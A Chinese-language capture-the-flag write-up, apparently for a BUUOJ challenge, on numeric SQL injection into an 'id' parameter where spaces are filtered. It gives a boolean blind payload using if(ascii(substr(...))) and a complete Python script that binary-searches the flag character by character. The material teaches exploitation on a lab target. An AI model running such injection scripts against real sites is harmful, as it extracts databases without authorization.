进入题目后。看到了一句话,just give the id。猜测应该是数字型注入
先随机输入
查询1时
查询id为2时
当查询数字超过3后报错
当我尝试着进行注入时
查询一下回显点时
1 union select 1,2
题目对SQL语句做了一些限制
做一个模糊测试
还好并没有过滤一些函数
ascii没有被过滤,substr也没被过滤,空格被过滤了,可以使用()来绕过
这里运用sql的三目运算
if( 表达式1,表达式2,表达式3)
如果表达式1是正确的,那么执行表达式2,否则执行表达式3
if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
直接选择脚本运行(手工能累死人的)
import requests
url = 'http://58104758-654b-42a5-b64b-265a062cd8d8.node3.buuoj.cn/index.php'
result = ''
for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
data = {
"id":payload
}
response = requests.post(url, data = data)
if 'Hello' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)